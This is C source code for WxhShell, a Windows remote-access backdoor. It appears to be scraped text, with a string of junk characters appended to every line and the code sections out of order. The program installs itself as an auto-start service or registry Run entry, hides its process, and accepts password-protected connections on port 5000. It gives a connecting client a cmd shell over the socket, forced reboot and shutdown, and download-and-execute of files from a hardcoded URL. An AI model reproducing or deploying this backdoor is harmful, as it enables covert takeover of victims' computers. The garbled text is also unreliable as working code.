    if(Boot(SHUTDOWN)) h8jB=e, H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '#W_boN  
    else { W^k,Pmopy  
    closesocket(wsh); TY~Vi OC  
    ExitThread(0); +;dXDZ2  
    } q? 9GrwL8F  
    break; ] IS;\~  
    } 5,R`@&K3D  
  // 获取shell NF mc>0-  
  case 's': { p,;mYms  
    CmdShell(wsh); \_ 9rr6^ "  
    closesocket(wsh); L,$3Yj  
    ExitThread(0); =m9i)Q  
    break; ) |MJnx9  
  } oNIFx5*Z  
  // 退出 (ND%}  
  case 'x': { Z(; AyTXA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  HxIoA  
    CloseIt(wsh); P6YQK+  
    break; B?3juyB`--  
    } hVM2/j  
  // 离开 Xu#:Fe}:  
  case 'q': { Xpl?g=B&u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xm|ib%no  
    closesocket(wsh); nP1GW6Pu  
    WSACleanup(); 76bc]o#  
    exit(1); Y@%`ZPJ  
    break; n=o_1M|  
        } Za%LAyT_s  
  } qjAh6Q/E`  
  } *ik/p  
#tDW!Xv?  
  // 提示信息 Y)Tl<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5g>wV  
} CTp!di|  
  } 7$7n71o  
H\#:,s{1  
  return; \bold"  
} 3D_"y Z  
=9$mbn r  
// shell模块句柄 'zxoRc-b@N  
int CmdShell(SOCKET sock) oH X$k{6  
{ uR_F,Mp?%u  
STARTUPINFO si; /_*>d)  
ZeroMemory(&si,sizeof(si)); wa ky<w,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X#ZgS!Mn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5)M 2r!\  
PROCESS_INFORMATION ProcessInfo; Fw"$A0  
char cmdline[]="cmd"; ~5 >[`)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TzKK;(GX  
  return 0; X;!~<~@Y  
} ?WHy0x20  
#epy%>  
// 自身启动模式 p `P~i&_  
int StartFromService(void) mCdgKr|n  
{ e&1 \'Zq?>  
typedef struct Mu2`ODe]  
{ BJ5}GX!  
  DWORD ExitStatus; BQ#L+9%  
  DWORD PebBaseAddress; m@\ZHbq  
  DWORD AffinityMask; re`t ]gzb  
  DWORD BasePriority; 0^&!6R  
  ULONG UniqueProcessId; 2|{V,!/cvG  
  ULONG InheritedFromUniqueProcessId; l r~gG3   
}   PROCESS_BASIC_INFORMATION; hs(W;tR@W  
;LMWNy4  
PROCNTQSIP NtQueryInformationProcess; c1%rV`)]  
FjFwvO_.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fo}7hab  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _Y!sVJ){,c  
KDTDJ8  
  HANDLE             hProcess; CS@&^SEj  
  PROCESS_BASIC_INFORMATION pbi; &=Y e6 f[  
.:9s}%Z r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o~1 Kp!U  
  if(NULL == hInst ) return 0; f*fE};  
1*UN sEr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LchnBtjn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &tE.6^F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /k6fLn2;  
'jjb[{g^}}  
  if (!NtQueryInformationProcess) return 0; $$1qF"GF  
gQouOjfP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RiR:69xwR*  
  if(!hProcess) return 0; e;ty!)]  
>EP(~G3u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4["&O=:d  
s| -FH X  
  CloseHandle(hProcess); ( u`W!{1\  
HOZRYIQB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ! '0S0a8  
if(hProcess==NULL) return 0; >NM\TLET~  
Bs!4H2@{(]  
HMODULE hMod; PDP[5q r  
char procName[255]; "A[ b rG  
unsigned long cbNeeded; |d}MxS`^  
2UadV_s+s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _MfD   
.C bGDZ  
  CloseHandle(hProcess); 1-VT}J(  
fly,-$K>LO  
if(strstr(procName,"services")) return 1; // 以服务启动 2R.2D'4)`  
UVEz;<5@\  
  return 0; // 注册表启动 ^p=L\SJ  
} KQ`=t   
||eAE)  
// 主模块 M+xdHBg  
int StartWxhshell(LPSTR lpCmdLine) R_kQPP  
{ Q@QFV~  
  SOCKET wsl; s;1h-Oq (  
BOOL val=TRUE; :&w{\-0{  
  int port=0; jbte *Ae  
  struct sockaddr_in door; nII^mg~  
sl|_=oXT  
  if(wscfg.ws_autoins) Install(); $_X|, v9  
23ze/;6%A  
port=atoi(lpCmdLine); f3tv3>p  
* fc-gAj  
if(port<=0) port=wscfg.ws_port; ~?Omy8#  
<J{'o`{  
  WSADATA data; I+;-p]~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L%cVykWY"  
vqNsZ 8|`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'Kbl3fUF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QIU,!w-3X  
  door.sin_family = AF_INET; Is.WZY a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0l\y.   
  door.sin_port = htons(port); !<n"6KA.  
|m G7XL,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0ejdKdYN  
closesocket(wsl); 0 P|&Pq&IH  
return 1; acW'$@y9?N  
} G^Tk 20*  
N{C;~'M2ce  
  if(listen(wsl,2) == INVALID_SOCKET) { H+C6[W=  
closesocket(wsl); L;6.r3bL  
return 1; #AViM_u  
} C>QIrZu  
  Wxhshell(wsl); D'[Uc6  
  WSACleanup(); pwX C  
Z)"61) )  
return 0; t+TYb#Tc  
`\Unpp\I  
} s8gU7pT49  
0b|zk <  
// 以NT服务方式启动 >G"X J<IO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jE/oA<^  
{ f [o%hCS  
DWORD   status = 0; x"4%(xBu  
  DWORD   specificError = 0xfffffff; GdmmrfXB  
8cxai8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NAFsFngqH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8cWZ"v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j 6)Y  
  serviceStatus.dwWin32ExitCode     = 0; ]!{y a8  
  serviceStatus.dwServiceSpecificExitCode = 0; K k[`dR;  
  serviceStatus.dwCheckPoint       = 0; @y|_d  
  serviceStatus.dwWaitHint       = 0; -X1X)0v$  
Ug"rJMZG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ! . HnGb+  
  if (hServiceStatusHandle==0) return; g!J0L7 i|  
/Z%>ArAx  
status = GetLastError(); I!: z,t<  
  if (status!=NO_ERROR) NCS!:d:Ry  
{ )j&"%[2F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F # YPOH  
    serviceStatus.dwCheckPoint       = 0; \gO,hST   
    serviceStatus.dwWaitHint       = 0; TH1B#Y#<J  
    serviceStatus.dwWin32ExitCode     = status; {rH9grb  
    serviceStatus.dwServiceSpecificExitCode = specificError; GG6% bF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); edC 4BHE  
    return; kODK@w V-  
  } n \G Ry'  
$1Nd_pD=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &jQ?v@|1c  
  serviceStatus.dwCheckPoint       = 0; rR{,)fX;  
  serviceStatus.dwWaitHint       = 0; 4sF v?W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5\4g>5PD  
} =hH.zrI6e  
5z/Er".P  
// 处理NT服务事件,比如:启动、停止 )mN9(Ob!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~6[*q~B  
{ DPDe>3Mi[  
switch(fdwControl) lPP,`  
{ .0y%5wz8j  
case SERVICE_CONTROL_STOP: ~Pf5ORoe  
  serviceStatus.dwWin32ExitCode = 0; r.3KPiYK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /.Jb0h[W1  
  serviceStatus.dwCheckPoint   = 0; *,WP,-0  
  serviceStatus.dwWaitHint     = 0; gUax'^w;V;  
  { hkL5HzWn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V6a``i]  
  } Q5+_u/  
  return; <,%:   
case SERVICE_CONTROL_PAUSE: `iG,H[t+j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VM=+afY5M  
  break; oR#:Nt X@  
case SERVICE_CONTROL_CONTINUE: '\DSTr:N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HeN~c<NuB  
  break; v90T{1+M|4  
case SERVICE_CONTROL_INTERROGATE: 2z0n<`  
  break; udqS'g&  
}; Q=cQLf;/'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fQLax  
} \x\ 5D^Vc  
MBr:?PE7  
// 标准应用程序主函数 pd@;b5T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *TdnB'Gd  
{ 4&^9Wklj  
j . A6S`  
// 获取操作系统版本 p9ZXbAJ{  
OsIsNt=GetOsVer(); R4's7k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4rNL":"O  
3 /6/G}s  
  // 从命令行安装 ZU2laqa_  
  if(strpbrk(lpCmdLine,"iI")) Install(); f|7u_f  
GUB`|is^  
  // 下载执行文件 qCMl!g'  
if(wscfg.ws_downexe) { f^<6`Aeq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vwGeD|Fb5  
  WinExec(wscfg.ws_filenam,SW_HIDE); hsLzj\)6  
} hP@(6X,"  
wo^Sy41bF  
if(!OsIsNt) { (&\aA 0-}H  
// 如果时win9x,隐藏进程并且设置为注册表启动 c9Es%@]  
HideProc(); &Vk; VM`5  
StartWxhshell(lpCmdLine); !^fa.I'mM  
} alFjc.~}  
else c@m5 ~  
  if(StartFromService()) u b?K,  
  // 以服务方式启动 hq>Csj==@  
  StartServiceCtrlDispatcher(DispatchTable); g=)J~1&p  
else |BU+:+  
  // 普通方式启动 e_3CSx8Cc  
  StartWxhshell(lpCmdLine); ?:rx1}:F  
ctmQWrk|B  
return 0; u62)QJE  
} }odV_WT  
|01?w|  
bMoAD.}  
d}I (`%%)  
=========================================== (zo^Nn9VJ  
b B  
M~T.n)x2  
D vkxI<Xa  
TQ :/RT  
i^z`"3#LE  
" wVK*P -C  
!E\[SjY@J  
#include <stdio.h> }qPhx6nP  
#include <string.h> 'md0]R|  
#include <windows.h> 1qdZ c_x  
#include <winsock2.h> g<*jlM1r  
#include <winsvc.h> S4NL "m  
#include <urlmon.h> eo]#sf@\0  
e,1u  
#pragma comment (lib, "Ws2_32.lib") @)YY\l#  
#pragma comment (lib, "urlmon.lib") &R-H"kK?  
h5%|meZQb  
#define MAX_USER   100 // 最大客户端连接数 . 5HQ   
#define BUF_SOCK   200 // sock buffer <!^ [~`  
#define KEY_BUFF   255 // 输入 buffer cSP*f0n,eo  
&Y>zT9]$K  
#define REBOOT     0   // 重启 9|r* pK[  
#define SHUTDOWN   1   // 关机 ilLBCS}  
_uxPx21g}  
#define DEF_PORT   5000 // 监听端口 mPZGA\  
m 40m<@  
#define REG_LEN     16   // 注册表键长度 6)RbPPeE  
#define SVC_LEN     80   // NT服务名长度 >O9 sk  
&rq{v!=7  
// 从dll定义API ]L_w$ev'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pR o s{Uq"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `|e!Kq?#Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IfdI|ya  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d 4{FDqto  
h=VqxGC&  
// wxhshell配置信息 dXvt6kF  
struct WSCFG { 4)-)#`K  
  int ws_port;         // 监听端口 nY-* i!H  
  char ws_passstr[REG_LEN]; // 口令 Q'NmSX)0  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9>*c_  
  char ws_regname[REG_LEN]; // 注册表键名 0OZMlt%z  
  char ws_svcname[REG_LEN]; // 服务名 < +`(\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?2J?XS>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n$+M%}/f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H ZJL/=;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +",S2Qmo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |WQ9a' '  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6.Ie\5-a;  
&]p}+{ (>  
}; ".2K9j7$  
f_mhD dq  
// default Wxhshell configuration .QWhK|(.!  
struct WSCFG wscfg={DEF_PORT, L^Wz vv]  
    "xuhuanlingzhe", &V=7D#L  
    1, 6 DF  
    "Wxhshell", Rs;15@t@  
    "Wxhshell", -e-e9uP  
            "WxhShell Service", G$WOzY(  
    "Wrsky Windows CmdShell Service", ?r_kyuU  
    "Please Input Your Password: ", fZryG  
  1, :J_oj:0r"f  
  "http://www.wrsky.com/wxhshell.exe", Pi6C/$ K  
  "Wxhshell.exe" 5>0.NiXGf'  
    }; +Ghi}v  
y=N"=Z  
// 消息定义模块 Q4'C;<\@(Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dDcZ!rRaL@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =yi OJyx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7qIB7_K5  
char *msg_ws_ext="\n\rExit."; '&yg {n  
char *msg_ws_end="\n\rQuit."; Q\_{d0 0  
char *msg_ws_boot="\n\rReboot..."; @"87F{!  
char *msg_ws_poff="\n\rShutdown..."; *YV S|6bs  
char *msg_ws_down="\n\rSave to "; fv'4f$U  
85Y|CN] vQ  
char *msg_ws_err="\n\rErr!"; X)Gp7k1w  
char *msg_ws_ok="\n\rOK!"; v|t{1[C  
?m%h`<wgMc  
char ExeFile[MAX_PATH]; %e%7oqR?  
int nUser = 0; _^!vCa7f  
HANDLE handles[MAX_USER]; o+?@5zw -&  
int OsIsNt; htJuGfDx1  
4jwu'7 Q  
SERVICE_STATUS       serviceStatus; = 7/-i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; = 1|"-  
~UMOT!4}3  
// 函数声明 t8J/\f=  
int Install(void); RVM&4#E  
int Uninstall(void); PXYE;*d(  
int DownloadFile(char *sURL, SOCKET wsh); }0/a\  
int Boot(int flag); F 1W+o?B  
void HideProc(void); )c<6Sfp^B  
int GetOsVer(void); aq>?vti1D  
int Wxhshell(SOCKET wsl); M@7Xp)S"  
void TalkWithClient(void *cs); {[#(w75R{  
int CmdShell(SOCKET sock); h[Tk; h  
int StartFromService(void); ] f 7#N  
int StartWxhshell(LPSTR lpCmdLine);  -;c  
6SEltm(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yY=<'{!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z/|BH^Vw  
w9&#~k]5  
// 数据结构和表定义 RI.2F*|  
SERVICE_TABLE_ENTRY DispatchTable[] = bH9Le  
{ 6].:.b\qQc  
{wscfg.ws_svcname, NTServiceMain}, !$xu(D.  
{NULL, NULL} Eu<r$6Q0}o  
}; {w 5Z7s0  
$[CA&Y.  
// 自我安装 ;)/@Xx  
int Install(void) J\`^:tcG  
{ EA0iYzV  
  char svExeFile[MAX_PATH]; K&`Awv  
  HKEY key; ohZx03  
  strcpy(svExeFile,ExeFile); x7ATI[b[  
NPU^) B  
// 如果是win9x系统,修改注册表设为自启动 S7sb7c'4 k  
if(!OsIsNt) { \9m*(_Qf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?Myh 7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &9B_/m3  
  RegCloseKey(key); @)0 Y~A )  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uH{'gd,q8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5w3Fqu>39?  
  RegCloseKey(key); 78Y@OL_$  
  return 0; xy^1US ,L1  
    } vOT*iax0  
  } X0i3_RVa  
} h}Ygb-uZ  
else { mnQ'X-q3iO  
4M`Xrfwm'[  
// 如果是NT以上系统,安装为系统服务 `iYc<N`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :t$A8+A+0  
if (schSCManager!=0) {8CWWfHCD  
{ &=w|vB)(p  
  SC_HANDLE schService = CreateService z^`]7i  
  ( avNLV  
  schSCManager, PdE>@0X?M  
  wscfg.ws_svcname, 7'j9rmTXs  
  wscfg.ws_svcdisp, !#}>Hv^N  
  SERVICE_ALL_ACCESS, ;93KG4a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6Z c)0I'  
  SERVICE_AUTO_START, lo:~aJ8  
  SERVICE_ERROR_NORMAL, Q"}s>]k3_  
  svExeFile, L3c*LL  
  NULL, 19I:%$U3  
  NULL, ^Q2ZqAf^a  
  NULL, -u6#-}S  
  NULL, /bcY6b=:  
  NULL eE3-t/=  
  ); @YZ 4AC  
  if (schService!=0) .E<Dz  
  { +TX/g~  
  CloseServiceHandle(schService); "iek,Y}j7  
  CloseServiceHandle(schSCManager); >>V&yJ_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9k `~x1Y)  
  strcat(svExeFile,wscfg.ws_svcname); "$@,n7 k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \y~)jq:d"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'p)QyL`d  
  RegCloseKey(key); fValSQc!U  
  return 0; $ I<|-]u  
    } uPU#c\  
  } d]7*mzw^j  
  CloseServiceHandle(schSCManager); >d%VDjk .  
} Gpu_=9vzv  
} l%PnB )F  
%$9:e J?  
return 1; wZ>Y<0,  
} =J3`@9;  
,cQA*;6  
// 自我卸载 yQ-hnlzn~  
int Uninstall(void) n-OWwev)  
{ .<w)Bmh  
  HKEY key; !sK#zAR2  
DQ_ 2fX~)  
if(!OsIsNt) { !R{em48D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )%#?3X^sI  
  RegDeleteValue(key,wscfg.ws_regname); aL)$b  
  RegCloseKey(key); x5vzPh`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uBRw>"c_*8  
  RegDeleteValue(key,wscfg.ws_regname); 6Ct0hk4  
  RegCloseKey(key); G"Pj6QUva  
  return 0; u}CG>^0C  
  } :uvc\|:s  
} <Kp+&(l,l  
} J|?[.h7tO  
else { j],& z^O$  
LUul7y'"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FV8\ +ep  
if (schSCManager!=0) ,;3:pr  
{ BhkAQEsWTQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uu@<&.r\C  
  if (schService!=0) s01$fFJgO  
  { p">WK<N  
  if(DeleteService(schService)!=0) { {X]9^=O"  
  CloseServiceHandle(schService); >w2f8tW`PP  
  CloseServiceHandle(schSCManager); 3_U\VGm  
  return 0; enPYj.*/0  
  } Hdna{@~  
  CloseServiceHandle(schService); Nh:4ys!P  
  } U,HS;wo;t  
  CloseServiceHandle(schSCManager); 6vWii)O.D  
} JD-Becz  
} $Q ffrU'  
Ou!)1UFI  
return 1; eoL0^cZj  
} ?\d5;%YSr  
PL!tk^;6-  
// 从指定url下载文件 J ~'~[,K  
int DownloadFile(char *sURL, SOCKET wsh) S5/p=H:  
{ 1:5P%$?b  
  HRESULT hr; ]:!8 s\#  
char seps[]= "/"; k!vHO  
char *token; X&,N}9>B  
char *file; v?{vg?vI  
char myURL[MAX_PATH]; Vy r] x  
char myFILE[MAX_PATH]; ku-cn2M/  
D:6N9POB  
strcpy(myURL,sURL); oE5;|x3  
  token=strtok(myURL,seps); 9JXhHAxD  
  while(token!=NULL) K"I{\/x@  
  { #4lHaFq  
    file=token; P;>!wU~*  
  token=strtok(NULL,seps); 2X^iV09  
  } fGo_NB  
kp.|gzA6  
GetCurrentDirectory(MAX_PATH,myFILE); Ltl]j*yei  
strcat(myFILE, "\\"); _rG-#BKW8L  
strcat(myFILE, file); 3U>S]#5}  
  send(wsh,myFILE,strlen(myFILE),0); wH!}qz /  
send(wsh,"...",3,0); Iw*C*%}[Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e00RT1L  
  if(hr==S_OK) Z{ %Uw;d  
return 0; JkJhfFV  
else > `0| X  
return 1; T 77)Np  
[e1\A&T  
} #yX^?+Rc  
do*Wx2:R  
// 系统电源模块 y]MWd#U  
int Boot(int flag) [ns&Y0Y`t  
{ ^Jn|*?+l  
  HANDLE hToken; <G&WYk%u*  
  TOKEN_PRIVILEGES tkp; (+@faP   
Le_CIk 5YL  
  if(OsIsNt) { 65uZ LsQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -z&9 DWH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 83B\+]{hD  
    tkp.PrivilegeCount = 1; v  F]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tI `w;e%HN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "3v7gtGG  
if(flag==REBOOT) { -5o?#%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Hc>([?P%t  
  return 0; 8R&z3k;!t  
} XpOCQyFnM  
else { ~;TV74~rr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mi<*6j0  
  return 0; i4 P$wlO  
} =SA 4\/  
  } Bk@bN~B4  
  else { |%n|[LP'  
if(flag==REBOOT) { oUCS |  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sek6+#|=  
  return 0; h!ZZ2[  
} ER/\ +Z#Z  
else { B>1M$3`E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B6-AIPb  
  return 0; |WQD=J%~(  
} oJhEHx[f  
} hcj{%^p  
{E3;r7  
return 1; }`#j;H$i  
} "MW55OWYU  
>>/nuWdpO  
// win9x进程隐藏模块 * .oi3m  
void HideProc(void) \%Pma8&d  
{ R%Kl&c  
|.^^|@+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FLw[Mg:L  
  if ( hKernel != NULL ) AsV8k _qZL  
  { [ e$]pN%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XA=|]5C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mI2|0RWI)l  
    FreeLibrary(hKernel); SB5@\^  
  } rHH#@ Zx  
rD_Ss.\^g  
return; 7$;c6_se  
} "X\q%%P=?  
=B1`R%t  
// 获取操作系统版本 .n?5}s+q  
int GetOsVer(void) D 86 K$IT  
{ "#[o?_GaJ  
  OSVERSIONINFO winfo; \xy:6gd:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >eTf}#s?S  
  GetVersionEx(&winfo); <t% Ao,"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Fj '\v#h  
  return 1; E>o&GYc  
  else #Lu4OSM+  
  return 0; 8Ng) )7g!  
} 1t!&xvhG  
|j\eBCnH3  
// 客户端句柄模块 h}Fu"zK  
int Wxhshell(SOCKET wsl) Yk(NZ3O  
{ z1z =P%WK  
  SOCKET wsh; \UV T_=Y  
  struct sockaddr_in client; g`y/ _  
  DWORD myID; b#bO=T$e-  
89 _&X[X  
  while(nUser<MAX_USER) #MmmwPB_  
{ Lx|w~+k}  
  int nSize=sizeof(client); JI28}Cxs0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {'cs![U  
  if(wsh==INVALID_SOCKET) return 1; cj,&&3sbV  
zW|$x<M^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LA(f]Xmc  
if(handles[nUser]==0) XyN`BDFi  
  closesocket(wsh); _p3WE9T  
else cx,u2~43A&  
  nUser++; %t,1_c0w  
  } %a%+!wX0x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DR#3njjEC  
P2<gHJ9t  
  return 0; 0nF>zOmc  
} )AZ`R8-A  
Ip1QVND  
// 关闭 socket 2}W6{T'  
void CloseIt(SOCKET wsh) ^/4 {\3  
{ ?,A8  fR  
closesocket(wsh); /jn:e"0~  
nUser--; J-HabHv  
ExitThread(0); JC1BUheeb  
} kr &:;  
KV3+}k  
// 客户端请求句柄 GLoL4el  
void TalkWithClient(void *cs) .>cL/KaP  
{ * S+7BdP  
LS?` {E   
  SOCKET wsh=(SOCKET)cs; >xk:pL*o`  
  char pwd[SVC_LEN]; u!156X?[eU  
  char cmd[KEY_BUFF]; &AkzSgP  
char chr[1]; vwSX$OZ  
int i,j; Fp* &os  
Av\ 0GqF  
  while (nUser < MAX_USER) { HvL9;^!  
Q'vIeG"o  
if(wscfg.ws_passstr) { eFeCS{LV+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J@&$U7t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "@):*3 4  
  //ZeroMemory(pwd,KEY_BUFF); \n('KVbf  
      i=0; M\x7=*\  
  while(i<SVC_LEN) { lVO(9sl*i  
*8(t y%5F0  
  // 设置超时 a-o hS=W  
  fd_set FdRead; 2gNBPd)I  
  struct timeval TimeOut; tF)k6*+  
  FD_ZERO(&FdRead); ^!{ oAzy9  
  FD_SET(wsh,&FdRead); s;=J'x)~%  
  TimeOut.tv_sec=8; %E=,H?9&>  
  TimeOut.tv_usec=0; +b:h5,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wHDF TIDI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vFkyfX(   
^Ypb"Wx8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _@}MGWlAPt  
  pwd=chr[0]; <CdG[Ih  
  if(chr[0]==0xd || chr[0]==0xa) { RaJ }>e  
  pwd=0; FkkZyCqZ`  
  break; #6#BSZ E  
  } ^~hhdwu3a  
  i++; _a:!U^4  
    } s`7 _J9  
=Am*$wGI  
  // 如果是非法用户,关闭 socket D6 @4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7{6cLYl  
} `dq3=  
blQzVp-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b&_u O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hr64M0V3B  
HhT8YH  
while(1) { ](( >i%%~  
ztt%l #  
  ZeroMemory(cmd,KEY_BUFF); k}owEBsn}  
uR[PKLh  
      // 自动支持客户端 telnet标准   GqF.T#|  
  j=0; d}A2I  
  while(j<KEY_BUFF) { vo^9qSX f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "Ezr-4  
  cmd[j]=chr[0]; 5d>YE  
  if(chr[0]==0xa || chr[0]==0xd) { 3C5D~9v  
  cmd[j]=0; sfBjA  
  break; t.i9!'Y ]  
  } [n@!=T  
  j++; =<27qj  
    } RHA>fXp  
\/e*quxx  
  // 下载文件 I@3c QxI  
  if(strstr(cmd,"http://")) { mk3e^,[A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J7aK3 he  
  if(DownloadFile(cmd,wsh)) ^_"q`71Dk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K^1O =1gY  
  else d$C|hT  
